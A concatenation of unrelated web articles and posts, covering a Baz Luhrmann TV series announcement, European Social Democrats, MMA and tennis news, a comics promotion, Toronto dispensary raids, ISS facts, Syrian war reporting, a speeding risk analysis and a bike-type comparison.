The show — set to premiere in 2016 — comes from famed director and screenwriter Baz Luhrmann, who is scheduled to steer the wheel on the first two episodes as well as the series finale. In addition, Luhrmann is slated to executive produce the show alongside Shawn Ryan.
“The Get Down will focus on 1970s New York — broken down and beaten up, violent, cash strapped — dying,” The Hollywood Reporter says. “Consigned to rubble, a rag-tag crew of South Bronx teenagers are nothings and nobodies with no one to shelter them — except each other, armed only with verbal games, improvised dance steps, some magic markers and spray cans. From Bronx tenements, to the SoHo art scene; from CBGBs to Studio 54 and even the glass towers of the just-built World Trade Center, The Get Down is a mythic saga of how New York at the brink of bankruptcy gave birth to hip-hop, punk and disco — told through the lives and music of the South Bronx kids who changed the city, and the world … forever.”
Speaking on the project, which acts as his debut television series and first musical venture since 2001’s Moulin Rouge!, Baz Luhrmann says The Get Down is something he has been envisioning for over a decade.
“The Get Down [is] a project I have been contemplating and working on now for over 10 years,” Luhrmann says. “Throughout, I’ve been obsessed with the idea of how a city in its lowest moment, forgotten and half-destroyed, could give birth to such creativity and originality in music, art and culture. I’m thrilled to be working with my partners at Sony and collaborating with a team of extraordinary writers and musicians, many of whom grew up with and lived the story we’ve set out to tell.”
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“This is the best my life has gone in many, many years,” Mr. Diaz, a big man wearing camouflage, said as he sat in a community health center here.
If Congress and President Trump succeed in dismantling the Affordable Care Act, he will have no insurance to pay for his medication or counseling, and he fears he will slide back to heroin.
In the Netherlands, for example, where I lived for seven years, and where the existing system was largely shaped by Social Democrats of old, a steely pragmatism now rules. Since 2012, the Social Democrats have been part of the governing coalition, under the conservative Freedom and Democracy Party; because the Social Democrats are in government, “they are heavily influenced by the role they play on the European stage,” according to Chris Kijne, a prominent Dutch journalist. That means taking stands that might have been anathema to their predecessors. “They’re involved in the austerity plan and budget control,” Kijne said. “Leaders of the Party also engineered bank bailouts.” As far back as 1995, Wim Kok, then the leader of the Dutch Social Democrats, described “the shaking off of ideological feathers” as “a liberating experience.”
Throughout Europe, Social Democrats have long since shifted from the kind of stalwart ideology that Sanders now pushes toward what Germans called the Neue Mitte (New Center) and those in other countries referred to as the Third Way. Some on the left look at the shift as a straight-up sellout to capitalism. Others describe it as a realization, driven home by electoral defeats, that things like free tuition and free health care have costs that eventually need to be paid. What most struck me about living in the Netherlands as its welfare-state model evolved was its sophisticated mixing of public and private. While Americans tend to think of European systems as involving vast government-run social-service programs, health care in the Netherlands has been, since 2006, mostly in the hands of private insurance companies. But the government has a prominent role: it is responsible for covering long-term conditions, and has oversight of both insurers and individuals. As Kijne notes, “the system has been privatized with the tacit approval of the Social Democrats.”
The pragmatic approach of the Dutch Social Democrats was brought home to me a few years ago, in a conversation with Carolien Gehrels, a member of the Party who was a deputy mayor of Amsterdam at the time. She had just returned to the Netherlands from a tour of American cities, and she expressed amazement at how weak city government was in the U.S. Her main point was not that government ought to run all or most aspects of municipal life but that it had to be strong enough to be an effective mediator between nongovernmental entities, such as developers and large landowners. Stripped of much of their power, she felt, American cities were being eaten alive by corporations.
The prevailing pragmatism of Europe’s Social Democrats brings many of them into alignment with, of all people, Sanders’s opponent, Hillary Clinton—and makes Sanders seem, to some on the Continent, like a throwback. One Dutch politician told me that Sanders reminds him of Michael Foot, the head of the British Labour Party in the early eighties, a socialist at heart who struggled against Margaret Thatcher, and who wanted to bring back government control of industry and enhance the power of labor unions. Karin Pettersson, the political editor-in-chief of the Swedish newspaper Aftonbladet, told me that Social Democrats there are split between Sanders and Clinton. The U.S. Presidential race, she said, “has become a proxy for the internal debate between ideological purity and pragmatism.”
Almost across the board, Europe’s Social Democratic parties have lost ground in recent years. Some say that this is precisely because they abandoned their core commitment to the kind of egalitarian society that Sanders envisions. But it’s also true that the parties were formed in a different era, when issues like immigration and free trade were not so pressing and divisive. Whereas Sanders opposes the Transatlantic Trade and Investment Partnership being negotiated between the U.S. and the European Union, saying that it’s bad for American workers, European Social Democrats have defended it on the ground that their countries need to be competitive. And while Sanders has vowed that, as President, he would sign an executive order to grant illegal immigrants in the U.S. a path to citizenship, Europe’s Social Democratic parties are fractured by the immigration issue. The Dutch party has been steadily losing voters to Geert Wilders, the country’s Trump-like, anti-Muslim populist politician (who even has his own funny hairdo).
Invicta FC’s featherweight champion believes the mental aspect could be a decisive factor in Rousey’s second title defense in the UFC against Miesha Tate on Dec. 28, and that Tate would have the advantage.
"Ronda is a little mentally sick," Cyborg told MMAFighting.com. "Miesha is more focused. I don’t know if that’s because Ronda is younger, more competitive. The mental aspect can affect her, but what makes you win inside the Octagon is training. The better prepared fighter will win."
Rousey has submitted Tate in their first fight in Strikeforce, but Cyborg hopes that the challenger has learned the lesson.
"Everybody knows what Ronda does and I believe Miesha will come more prepared this time," she said. "Unfortunately, everybody knows what she’ll do and still let her do it. I’m watching the TUF season, and I believe Miesha has more weapons to defeat Ronda. But I don’t really care who wins this fight, though."
Rousey’s division is 10 pounds lighter than Justino’s, but the Brazilian still wants to fight the judo specialist.
"The only thing stopping this fight to happen now is the weight, but I don’t care about the belt," she said. "I want to this fight for the fans in a catchweight because she used to fight in my division and then dropped. I’d fight her (in the UFC) and then return to my home, Invicta."
Cyborg is managed by Tito Ortiz, and the former UFC champion doesn’t have a good relationship with UFC president Dana White. However, the muay thai specialist believes that wouldn’t be enough to keep her away from the Octagon.
From now through July 31st, jump on board each of Valiant’s award-winning, fan favorite ongoing series with an all-access pass to some of the publisher’s most acclaimed #1 debuts – completely FREE for a limited time and featuring contributions from some of the premier storytellers in comics today, including James Asmus (Gambit, Thief of Thieves), Doug Braithwaite (Justice, Journey into Mystery), Clayton Crain (X-Force, Carnage), Joshua Dysart (Unknown Soldier), Trevor Hairsine (X-Men: Deadly Genesis, Ultimate Nightmare), Matt Kindt (Justice League of America, Mind MGMT), Cary Nord (Conan), Greg Pak (Batman/Superman, Action Comics), Robert Venditti (Green Lantern, The Flash), and many, many more!
From Archer & Armstrong to X-O Manowar, now is your chance to discover each of Valiant’s best-selling series with a complete array of FREE #1 milestones from across the Valiant library, including:
• ARCHER & ARMSTRONG #1 by Fred Van Lente & Clayton Henry
It’s history in the breaking! Eighteen-year-old adventurer Obadiah Archer and the immortal miscreant currently called Armstrong will have to work together if modern civilization is to stand any chance of surviving a centuries-old conspiracy that stretches from the catacombs beneath Wall Street to the heights of the Himalayas!
• BLOODSHOT #1 by Duane Swierczynski & Manuel Garcia
Heroes aren’t born…they’re built. Brought back from the dead and infused with cutting-edge nanotechnology, the walking weapon of mass destruction now known as Bloodshot has escaped his handlers at Project Rising Spirit and vowed to bring war down up his masters…but first he’ll have to figure out where the programming ends and the real “him” begins.
• ETERNAL WARRIOR #1 by Greg Pak & Trevor Hairsine
Soldier. Guardian. Warrior. Legend. Across ten millennia and a thousand battlefields, Gilad Anni-Padda has traversed the darkest, most mysterious corners of history. But the horror and bloodshed of constant warfare has finally taken its toll on the man who vowed to serve the Earth as its Eternal Warrior…and soon his oath will bring an ancient war roaring down on modern day.
• HARBINGER #1 by Joshua Dysart & Khari Evans
Read minds. Bend steel. Break all the rules. Runaway teenager Peter Stanchek is on a dangerous path. Skipping across the country in a desperate attempt to stay one step ahead of the authorities, Peter is quickly realizing that he’s a telekinetically powered “harbinger” with the potential to reshape the course of human history. His first lesson? All power comes with a price.
• QUANTUM AND WOODY #1 by James Asmus & Tom Fowler
KLANG! Once upon a time, Eric and Woody Henderson were inseparable. Adopted brothers. Best friends. Brilliant minds. Years later, they are estranged siblings, petty rivals, and washed-up failures. But when their father’s murder leads them into the throes of a life-altering scientific accident, Eric and Woody will find themselves with a whole new purpose – and a perfectly legitimate reason to wear costumes and fight crime.
• RAI #1 by Matt Kindt & Clayton Crain
Japan in the 41st century! The year is 4001 A.D. – led by the artificial intelligence called “Father,” the island nation of Japan has expanded out of the Pacific and into geosynchronous orbit with the ravaged Earth below. With billions to feed and protect, it has fallen to one solitary guardian to enforce the law of Father’s empire – the mysterious folk hero known as Rai.
• SHADOWMAN #1 by Justin Jordan & Patrick Zircher
There are a million dreams in the Big Easy. But now its worst nightmare is about to come true. As the forces of darkness prepare to claim New Orleans as their own, Jack Boniface must accept the legacy he was born to uphold. As Shadowman, Jack is about to become the only thing that stands between his city and an army of unspeakable monstrosities from beyond the night.
• UNITY #1 by Matt Kindt & Doug Braithwaite
The world’s most dangerous man, Toyo Harada, has been struck by the one thing he never thought possible – fear. Halfway across the globe, a new power threatens to topple modern civilization and, to preempt the cataclysm that is to come, Harada will unite the most lethal, most volatile, most unforgiving team the world has ever known – UNITY. Their mission: defeat the warrior king armed with the universe’s most powerful weapon. Kill X-O Manowar!
• X-O MANOWAR #1 by Robert Venditti & Cary Nord
Born into battle, Aric of Dacia – heir to the throne of the Visigoth people – has never known peace. After a brutal encounter with a mysterious enemy known as The Vine leaves him a prisoner on an alien world, the only hope Aric has of returning to his family and saving them from slavery is to seize armored suit capable of incalculable destruction and become X-O Manowar!
Start at the beginning with all nine of these best-selling #1 milestones today at comiXology, then get ready for THE VALIANT – an all-new prestige format mini-series coming in December from all-star creators Jeff Lemire, Matt Kindt, and Paolo Rivera! An entirely self-contained comics event spotlighting Bloodshot, Eternal Warrior, Geomancer, and a cast of heroes and villains from across the Valiant Universe, THE VALIANT is a visionary new adventure from three of the greatest creative talents in comics today.
For more information, visit Valiant on Facebook, on Twitter, on Tumblr, and at ValiantUniverse.com.
1. Bell Boy. You're carrying the baby. He can carry everything else, even if that means hauling your bedding from home and a ton of clothes and books you'll never need.
2. Valet Parker. The pain of labor makes you wish you could be airlifted into the delivery room. The next best thing is for your partner to drop you off curbside while he parks.
3. Documentarian. Many dads in the delivery room enjoy capturing the miracle of life before, after, and even during the birth. Make sure your husband understands that he's also responsible for deleting any photos where you appear to have more chins than the baby.
4. Massage Therapist. Whether you need deep pressure on your lower back or gentle stroking of your sweaty hairline, your partner's touch can be a powerful comfort. Except for those times when you're screaming, "Don't touch me!" That happens.
5. Personal Trainer. When I gave birth, my partner was told to pin my knee back near my ear while I pushed. I liked that way it made me feel like we were on the same team.
6. Communications Director. Put your partner in charge of texting, calling, uploading photos, and conveying your baby's stats to friends and family. Remind your mate that all communications should reference you as "beautiful" and "amazing."
7. Waiter. It's hard getting out of those adjustable hospital beds — better your partner should retrieve whatever drinks and snacks you require. (In my case it was Krispy Kremes.) And don't feel bad — this is the last time anyone will be waiting on you, like, ever.
8. Nurse. Nothing brings a couple closer together than admitting you need some stool softener, STAT, for that backed up situation you've got going on since the birth. Don't be shy about enlisting his help; taking care of you is good practice for parenthood.
9. Car Seat Installer. Most hospitals won't let you leave until your infant is secured in a car seat. While you're dressing baby in her adorable going-home outfit, your partner can do one last practice run with a teddy bear before strapping your precious cargo in for the ride home.
10. Daddy. Once the baby's out of your body, Dad finally gets his chance to be hands-on and it's a beautiful thing. Word to the wise: Try not to micromanage. If your partner gets comfortable changing diapers in the hospital room, he'll do it at home, too.
On Wednesday afternoon, officers executed search warrants at three ‎locations.
At about 2:20 p.m., they raided the Green Room on Mount Pleasant Road near Davisville Avenue, arresting two people. At around 3 p.m., police descended on Cannabis Culture on Queen Street East near Broadview Avenue, a store operated by prominent pot-legalization advocates Marc and Jod‎ie Emery. Police made four arrests. Another Cannabis Culture location, on Queen Street West, was raided in June‎.
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Around 4 p.m. Wednesday, police raided another dispensary, the Healing Centre, on Dundas Street West near Dufferin Street, arresting three.
Charges were still being laid and evidence collected on Wednesday night, police spokesman Mark Pugash said, but most of those arrested were expected to face charges of possession for the purposes of trafficking, and possession of the proceeds of crime.
Speaking to local TV news outlet, Ms. Emery criticized the raids.
"I'm shocked that the police are continuing to waste tax dollars on a pointless law enforcement campaign that only causes harm to people who are doing no harm to others," she told CP24 in a telephone interview.
‎Wednesday's raids come after three similar ones on Monday against pot dispensaries in the city's east end. In June, four dispensaries were raided on one day, with 23 people facing charges.
These sporadic raids followed a massive sweep by Toronto Police of 43 marijuana dispensaries in May that resulted in drug charges against about 90 people.‎ City bylaw officers also laid charges against some pot dispensaries and their landlords for breaking the city's zoning bylaw, which does not permit pot dispensaries.
‎At a news conference announcing the May raids, pot activists and dispensary shop owners heckled Chief Mark Saunders as he said the pot and edible pot products for sale at illegal storefront dispensaries were not tested and could be unsafe.
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A recent Globe and Mail investigation that subjected marijuana from several Toronto dispensaries to lab tests found that three of nine samples did not meet Health Canada's regulations and contained unacceptable levels of bacteria or mould.
The crackdown followed an alarm raised in May by Mayor John Tory, who also asked city bureaucrats to ‎look into whether the city could draw up a licensing regime, as Vancouver has done, to try to control the spread of pot dispensaries and keep them away from schools.
The pot dispensary movement argues they are providing medical marijuana only to patients who need it, and say the federally regulated legal mail-order medical marijuana system is failing many of those patients. That system has also been deemed unconstitutional after court challenges. But critics say many pot dispensaries sell marijuana to anyone, even those without a demonstrated medical need.
Abraham was so faithful that he took his own son strapped him to an altar and plunged a knife toward his chest.
Now the believers will tell you no harm was done because an angel stopped Abraham before it was too late.
I kind of doubt this is true because I can’t imagine that the kid didn’t feel traumatized after such an event, but even then. So what?
So what if God stopped him before it was too late? How does that make what Abraham did ok?
Let’s put this story in another context to see what I mean. Suppose a powerful leader demands a person kill his kid as a sign of faith in thier leadership. Go ahead, pick one. Hitler? Obama? Al Capone? Is a faithful submission to such a demand ok in that case?
The God of Abraham is presumably a really powerful person and can kill others pretty easily. So why does he need someone else to do it for him? And why celebrate that act as something only the most faithful person would do? Why make that a model to strive for?
I think religion f%#ks up a person’s sense of morality and the story of Abraham is a prime example. In any other setting Abraham would be considered a coward. A man too chicken to do what is right. To concerned with saving his own eternal skin to consider the morality of tying his own son to a rock and attempting to kill him.
This is a guy trying to ‘win favor’ with the mob boss by any means necessary. But religions call it ‘faith’ and celebrate it. The more I contemplate this the more I think deep down the religious are cowards. They seek out the biggest wolf in the pack and fight others in his name and for his protection.
We see this all the time in the animal kingdom. I have a couple of pet dogs that are more than willing to take on others for the protection and home I give them. Given mammals share a lot of DNA I can understand the genetics that reinforce this behavior in humanity.
But isn’t being human about going beyond our animal instincts? Shouldn’t we celebrate standing up to oppression rather that accepting it?
I think it’s high time we celebrated people like Jack Harper more than cowards like Abraham.
In short, we should do what is right and let the consequence follow. Even if you fear the consequence is eternal damnation. True courage is doing what is right even when you have everything to lose.
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2. In April 2000 a privately funded mission returned cosmonauts to Mir on a Russian rocket after regular crew rotations had ended. They stayed for more than two months, but by the time the ISS became manned, Mir had been abandoned for good. The station was deorbited in March 2001, producing a flock of fireballs over Fiji as it broke apart during atmospheric reentry. Had Mir lasted a bit longer, humankind would now have lived in space for more than two decades uninterrupted.
3. Since the first crew arrived in 2000, the ISS has been well-used. The station has been visited by nearly 200 individuals from more than a dozen countries, including seven space tourists who bought rides on Russian rockets through the private firm Space Adventures. In May 2009, when the ISS first expanded to its full capacity of six people, all five space agencies participating in the project—NASA, the European Space Agency, the Japan Aerospace Exploration Agency, the Russian Federal Space Agency and the Canadian Space Agency—were represented simultaneously by crew members on board.
4. November 2 was more than just the anniversary of the ISS's occupancy. It was also Election Day. Thanks to a piece of legislation passed in Texas in 1997, astronauts on the space station can and do vote, beaming their ballots down to Earth via a secure electronic system.
5. Although the ISS is the biggest and most utilized space station yet, it had many smaller predecessors. In addition to Mir, the Soviet Union launched a series of Salyut stations between 1971 and 1982, including Salyut 1 (pictured), the first space station in history. Tragically, all three members of the first crew to occupy Salyut 1 were killed during their return to Earth in 1971. In 1973 the U.S. launched its Skylab station, which was damaged during launch and was visited by just three crews in 1973 and 1974 before it was abandoned. Skylab returned to Earth in 1979, breaking up during reentry and scattering debris over Western Australia.
6. Cosmonaut Sergei Krikalev has logged 803 total days in space—about two years, two and a half months—more than anyone else in history. He lived on Mir, was part of the first ISS crew, and flew on two space shuttle flights in his long career. Krikalev was in orbit on Mir when the Soviet Union dissolved in late 1991; he had left Earth a Soviet cosmonaut and returned to Earth as a Russian.
7. Valery Polyakov cannot match his fellow cosmonaut Krikalev's career total for spaceflight endurance, but he does hold the record for the longest single trip into space. Between 1994 and 1995, Polyakov spent more than 437 days in space on a mission to Mir. Polyakov is pictured here looking out from Mir. In that time, according to the International Space Hall of Fame, he circled Earth more than 7,000 times and traveled some 300 million kilometers.
8. The cost of the ISS, somewhere in the neighborhood of $100 billion, places the station among the costliest single objects ever built. The exact cost of the ISS is unclear, but the U.S. contribution alone is roughly $50 billion. For comparison, NASA's successor to the Hubble Space Telescope, the next-generation James Webb Space Telescope, is expected to cost somewhere around $5 billion.
9. American astronaut Peggy Whitson holds the record for most spaceflight time logged by a woman. In two long-duration stays on the ISS, Whitson racked up 376 days in space. She has also spent the most time spacewalking among all female space fliers, performing six spacewalks on her ISS missions that took nearly 40 hours combined.
10. Spaceflight is hard on the body. Studies have shown that astronauts returning from long stays on the ISS have lost significant amounts of bone mass and bone strength, as much as a few percent a month, as a result of living in microgravity. The ISS houses a number of exercise devices meant to provide much-needed resistance and stave off bone damage, including the Combined Operational Load-Bearing External Resistance Treadmill, or COLBERT. The treadmill was named for Stephen Colbert as a sort of consolation prize after the comedian encouraged viewers of his television show to flood an online poll to name a new ISS node with write-in votes. Even though "Colbert" topped the poll, NASA chose to name the node Tranquility and instead devised the convenient acronym for the new ISS treadmill.
The Briton started the year as the top ranked player in tennis for the first time in his career following his win at the ATP Finals in London in November 2016.
However, poor form and injuries have hindered his calendar year with just the one title in Dubai and his best Grand Slam performance being a French Open semi-final exit.
Murray last featured at Wimbledon after his quarter-final loss to Sam Querrey and will take the rest of the year off to recover from a hip injury.
His withdrawal from the US Open saw him drop to number three in the rankings and his absence since has seen him unable to defend the points he won during a successful second half of 2016 that saw him end the year with a 24-match winning run.
Having already lost 2,000 points with absences in Beijing, Shanghai and Vienna, the 30-year-old is set to lose another 2,500 points with the ongoing Rolex Paris Masters and upcoming ATP Finals in London.
As a result, Murray could drop to at least 15th in the rankings, marking the first time he will be out of the top 10 since October 2014 when he was ranked 11th.
The fall in rankings will affect his seedings upon his return as Murray is confirmed to take part in Melbourne for the 2018 Australian Open in January.
Ailtor, the crown prince of Torion had, in the 20s (Infrastructural Calender) had taken an interest in modernizing the Torionese army using Infrastructural technology. Torion had adopted flintlock rifles during the Rifle Wars, but he was further interested still. He managed to acquire a number of revolvers in 25 to 26 (including a Pattern-1402 given as a gift by the Emperor of Allergon during a state visit) and came to the conclusion that the future of warfare lay in revolving firearms. As such, he started and was heavily involved in a project to develop a revolving rifle for the army. In 28, Prince Ailtor managed to get a model which he felt confident about and, with his father's consent, had some 30,000 units ordered, mainly for cavalry use. Due to it's royal petigree, others were ordered by nobles using cash from their own purses for them and their body guards. Many merchant captains did the same thing.
The weapon itself was a Cap and Ball system with six chambers and a caliber of 6 Linea (11.61mm). It's chambers were longer than a typical pistols to hold a larger charge. It had an effective range of about 800 meters. A trained soldier could fire off six shots in less than twenty seconds. Simple paper cartridges were used to speed reloading. The weapon was fairly complex, but could still be mass produced. The Royal Arsenals were soon turning out these weapons full tilt, as were local gunsmiths. This was used along with a number of muzzle loading and breechloading rifles, both of foreign (mostly Venoan) and local manufacture.
Another year, another season of American Idol. And another TWO seasons of The Voice. 2014 is coming to a close, but before Idol Season 14 starts up on Jan. 7 and The Voice returns for an eighth season on Feb. 23 (yes, already!), it’s time to look back at the best singing show performances of the year.
While 2014 marked the two lowest-selling Idol-winner albums ever (sorry, Candice Glover and Caleb Johnson), and The Voice continued to catch flak for, well, never selling any albums (sorry, Tessanne Chin), both shows — along with a couple basic-cable programs and even the little-seen Rising Star — had their share of impressive performances. Buy these contestants’ albums already, people! Or at least donate to their Kickstarters.
So, here are my Reality Rocks picks for the top 20 singing competition performances of 2014. Please note that, for the sake of variety and semi-brevity, I did not load up this list with multiple performances by the same singers. But I enthusiastically encourage you to hit up YouTube or Hulu and binge-watch anything and everything by Matt McAndrew, Josh Kaufman, Jesse Kinch, Alex Preston, Jena Irene, and Caleb Johnson. All of those contestants could have filled year-end lists all by themselves.
Happy new year!
20. Blonde Electra, “Kids in America” (The X Factor U.K.)
The American X Factor was canceled at the start of 2014, but Simon Cowell kept it going across the pond, where the show has always been bigger, brasher, and just plain better. (The X Factor U.K. Season 11 also aired this year in the States on the UHF-like cable channel AXS TV, which is, I think, Channel 8719 on the Time Warner dial.) Those Brits sure love their camp, and no one camped it up more than these crazy, ravey sisters, Ruby and Jazzy King, who just happen to be the sisters-in-law of Cher’s son, Elijah Blue Allman, and claim to have been raised in a cult. Blonde Electra, with their wacky antics, could have been the female Jedward. But sadly, they were the first act eliminated in this year’s live shows. I guess the Brits don’t love camp that much.
19. MK Nobilette, “All of Me” (American Idol)
Everyone’s already forgotten about poor MK; if they remember her at all, it’s because she was the first openly gay contestant to complete in the Idol semifinals. The 10th-placer didn’t even join the American Idol Live! concert tour, so her 15 minutes of fame got cut down to more like four minutes. But let’s not forget her promising start. Believe it or not, back when she first competed in the top 31 Rush Week, I had her pegged as a shoo-in for the finale.
18. Sebastian Bach, “Bad Romance” (Sing Your Face Off)
For years, I longed for the day when this ex-Skid Row mouthpiece (known for his star turns on CMT’s Gone Country 2, VH1’s Supergroup and Celebrity Fit Club, and MTV’s Celebrity Rap Superstar) would don Lady Gaga drag on national TV. So thank you, ABC (and guest judge RuPaul!), for making my dream come true in 2014.
17. Malaya Watson, “Ain’t No Way”
It was hard to believe that his teen had never had a boyfriend, never had her heart broken. Apparently she’s as fantastic an actress as she is a singer. This band-camp geek girl dug deep for her mature cover of Aretha Franklin’s heartache ballad, delivering a passionate, dynamic, can’t-look-away performance. Said judge Jennifer Lopez: “It’s like you’re blossoming into this star before our very eyes. You’re the same little crazy girl that walked in, but you’re gaining poise and realizing your position. You’re going to be such a huge star. You’re going to run away with this competition.” I think if Malaya had auditioned just a couple seasons later, when she was just a little more grown-up, she could have gone farther than eighth place.
16. “Shade: The Rusical” (RuPaul’s Drag Race)
With violence continuing to escalate in the area, a government news agency reported that the Syrian army carried out operations against opposition fighters in locations across the country on Monday.
"There were around 27 air raids," one local resident told Al Jazeera on Monday, referring to a night of air strikes reportedly carried out by Syrian government and Russian forces.
Al Jazeera's Bernard Smith, reporting from Gaziantep in neighbouring Turkey, said al-Atareb "has been targeted many times during this country's five-year civil war ... but this attack was the biggest yet, according to people there.
"Four of the six medical facilities hit over the weekend are now closed."
Marwan Kabalan, a research associate at the Doha Institute's Arab Center for Research & Policy Studies, says Syrian government forces are trying to wear down opposition fighters in Aleppo.
Referring to Russian-US negotiations over cooperation in Syria, Kabalan told Al Jazeera the Syrian government is "trying to encircle and lay siege to Aleppo before any understanding can be reached between the Russians and the Americans".
Against this backdrop of continued fighting in Aleppo and other provinces, Stephen O'Brien, the UN humanitarian chief, called on Monday for immediate "unconditional and unhindered" humanitarian access to an estimated 5.5 million Syrians in besieged or difficult-to-reach areas.
READ MORE: Syrian refugees - Struggles in Turkey intensify
"It is well within the power of all parties and those who back them to minimise civilian casualties and avoid further crimes and atrocities," he told the UN.
"They must do so. Civilians and civilian infrastructure are not pawns to be sacrificed but are especially protected under international law."
The official state-run SANA news agency reported on Monday that a woman and her child were killed on Monday in Aleppo when fighters fired shells on a government-held neighbourhood.
READ MORE: As war rages on, Syrian children starving to death
A car bomb blast hit Damascus on Monday, Syrian state news agency SANA reported, without giving details of casualties.
An AFP journalist heard the powerful explosion, which SANA said hit the modern, upmarket Kafar Sousse area in the southwest of the wartorn country's capital.
The official Al-Ikhbariya television channel said at least one person was injured, while the Britain-based Syrian Observatory for Human Rights, which also reported the car bomb attack, spoke of casualties without giving details.
SANA also reported that the Syrian army on Monday carried out operations against opposition fighters in areas across the country, including the provinces of Aleppo, Deraa, Deir Ez-Zor, Hama and Homs.
The Syrian uprising started with largely unarmed protests against President Bashar al-Assad in March 2011, but it quickly turned into a full-blown civil war that has since continued unabated.
The other day, I came across this chart, posted by reddit user Ayatollah_Bahloni with the title “Is speeding worth it?”
For a given driving distance, the chart displays the amount of journey time you would save by driving at different speeds, the general conclusion being that the amount of time you save is probably less than you think (or at least not enough to risk your life over).
The chart itself is a bit confusing, with units changing between seconds, minutes, and hours. And it has a few small mathematical errors. But if you look beyond that, the question it raises is fascinating.
What is the true cost-benefit trade-off of speeding?
Speeding increases the risk of getting in a fatal accident, but that by itself does not make it a bad idea. We also risk our lives every time we cross the street. But most people aren’t too concerned about street-crossing because the risk is small and the benefit is high, arguably imperative for day-to-day life.
On the other hand, most people would agree that trying to cross a 6-lane highway at rush hour would be a bad idea. The risk is high and there is probably nothing on the other side worth crossing for anyway.
These two examples are extreme enough that there is no need to explicitly evaluate the cost-benefit trade-offs. For speeding, the answer is not so clear.
The reason I find the question fascinating is because, unlike most trade-offs that involve risk to human life, the cost-benefit trade-off of speeding can be quantified. The benefit (time savings) and the cost (risking life) are both measured in the same units (time), so one way of looking at the decision to speed would be to compare: years of travel time saved by speeding vs. years of life cut short by speeding-related accidents.
Based on 10 years of data from the Dept of Transportation, I put together some ballpark estimates for these two figures: the amount of time we save by speeding and total years of human life that have been lost (description of the calculation).
For every 1 minute of travel time saved by speeding, roughly 2.5 minutes of human life are lost in speeding-related accidents
The comparison is not exact (1 minute of travel time ≠ 1 minute of life), but it does give some context for thinking about the trade-off.
The amount of time saved by speeding includes driver as well as passenger time. The lost human life figure includes drivers and passengers, as well as pedestrians, bicyclists, and anyone else who may have died as a result of the accident. Here is the breakdown.
Putting these figures into different terms, for every 1 minute of travel time saved:
speeding drivers lose 1.5 minutes of life
their passengers lose 30 seconds of life
someone else (pedestrian, another driver) loses 20 seconds of life
What else can we say about the profile of people who die in speeding-related accidents?
The victims of speeding-related accidents are disproportionately young and male
Between 2004 and 2013, about 115,000 people died in speeding-related accidents, roughly one-third of all traffic accident fatalities. For comparison, the number of traffic accident deaths in which alcohol was involved is 124,000.
Here is how the 115,000 speeding-related deaths break down by age and gender.
For every mile driven, people below the age of 35 are about 2.5 times more likely to die in a speeding-related accident compared to people 35 and older.
The risk for males vs females is similar. Males are roughly 2.5 times more likely to die in a speeding-related accident compared to females.
Driving fast is not necessarily dangerous. Driving faster than everyone else on the road is.
You may be the best driver in the world. You’re still at risk of other people’s bad driving.
Why do I mention this? Because it illustrates the fundamentally reason why speeding is risky, even for good drivers. Every time you encounter another vehicle on the road, there is some chance of an accident resulting. So the more cars you pass, the more chances you have of getting in an accident.
If this is really true, shouldn’t the reverse also be true? Driving slower than traffic causes more vehicles you pass you, each of which should also pose some risk. So shouldn’t driving slow be just as risky as driving fast?
The graph on the left is known as the Solomon Curve. In case you think I cherry picked it from some obscure source, see the Wikipedia page. The result has been replicated many times under many different circumstances.
The Solomon Curve, shows the risk of getting in an accident as a function of vehicle speed relative to traffic. Notice the risk increases in both directions at roughly the same rate. i.e. Driving 10 mph slower than traffic has about the same accident risk as driving 10 mph faster than traffic.
This curve has an intuitive explanation. The faster or slower you go relative to traffic, the more vehicles you are likely to pass (or are likely to pass you). As it turns out, the accident rates shown in the Solomon Curve are proportional to the number of vehicles you expect to pass at each speed.
My interpretation: Driving is a game of chances in which you want as few “times at bat” as possible. Whether or not you’re a good driver, speeding is risky because each pass by another car has some probability of resulting in an accident, possibly through no fault of your own.
Driving slower than traffic and driving faster than traffic may put you at the same risk of getting in an accident, but that doesn’t mean they are equally dangerous. The Solomon curve does not account for the severity of accidents. When you account for the fact that high speed crashes are more likely to be fatal, driving fast becomes far more dangerous.
Accounting for accident severity, the curve on the right displays the relative likelihood of getting in a fatal car accident based on relative speed. As you can see, the risk accelerates quickly with speed (technically it . Driving 5 mph faster than traffic multiplies the risk of dying in an accident by 2. Driving 20 mph faster than traffic multiplies the risk by 35!
Is there an argument that speeding is not a bad decision?
Is it a mistake to assume that most people speed because they want to get somewhere faster? Not because they just want to go fast?
The two charts above show correlation, not necessarily causation. Is there an argument that people who speed also happen to be more dangerous drivers?
Calculations / Attribution
For a full explanation of where the “1 minute of saved time = 2.5 minutes of lost life” stat comes from, see: Digging into traffic safety data.
Primary data sources:
My latest project, Elementus, aims to bring transparency to the cryptocurrency market. Check out our blog for some crypto-related data visualizations.
According to our resident cynic VecchioJo Burt the difference between a cyclocross bike and a gravel/adventure bike is “£200”. It’s a bit more complicated than that.
Bike industry labels for bike varieties often confuse people because they usually don’t refer to discrete categories but to points on a spectrum. In those case that means bike labelled ‘adventure’ or ‘gravel’ can be very similar to a cyclocross bike, especially if you don’t dig deep into the specs.
What are they for?
Our Dave Arthur puts a Speciaized Cruz through its racy paces
Form follows function so to kick off, let’s look at what these two bike types are for.
cyclocross is a bike racing discipline that involves riding a drop-handlebar bike on a short, off-road course, usually in a park or similar. Courses include features like mud, sandpits, barriers and steps or slopes too steep to ride, forcing riders to run, as well as easier sections. An international-grade course has to be between 2.5km and 3.5km long. An elite-level cyclocross race lasts an hour and a lap; other race categories are shorter.
A cyclocross bike is designed specifically for this form of racing, and, as we’ll see, its design serves its purpose of going fast, and being able to be carried when the terrain demands.
>>Read more: Buyer's Guide to cyclocross bikes - how to choose the right one for you
>> Read more: Beginner's guide to cyclo-cross essentials
Despite his cynicism, VecchioJo keeps coming back happy from gravel/adventure bike rides
While there’s an emerging discipline of gravel racing in the USA, most gravel/adventure bikes are not purpose-specific racers. Rather they’re designed for long days in the saddle on a mixture of surfaces and terrains and for riding with various types of luggage on multi-day trips.
The key difference between gravel/adventure bikes and old-fashioned touring bikes is the baked-in ability to tackle unsurfaced trails, tracks and dirt roads. People took touring bikes off the beaten track in the era before the mountain bike, but fatter tyres make it much easier and more comfortable. A gravel/adventure bike combines the multiple hand positions of a road bike with the go-anywhere abilities of a mountain bike.
What design and feature differences come out of these purposes then?
Frames
Specialized uses carbon fibre for its Crux Elite race bike
A cyclocross frame has to be light, because the bike built around it will be carried. That means pared-down aluminium and carbon fibre frames are the norm.
Gravel/adventure frames are usually a bit heavier, because they need to be stiff enough to carry loads.
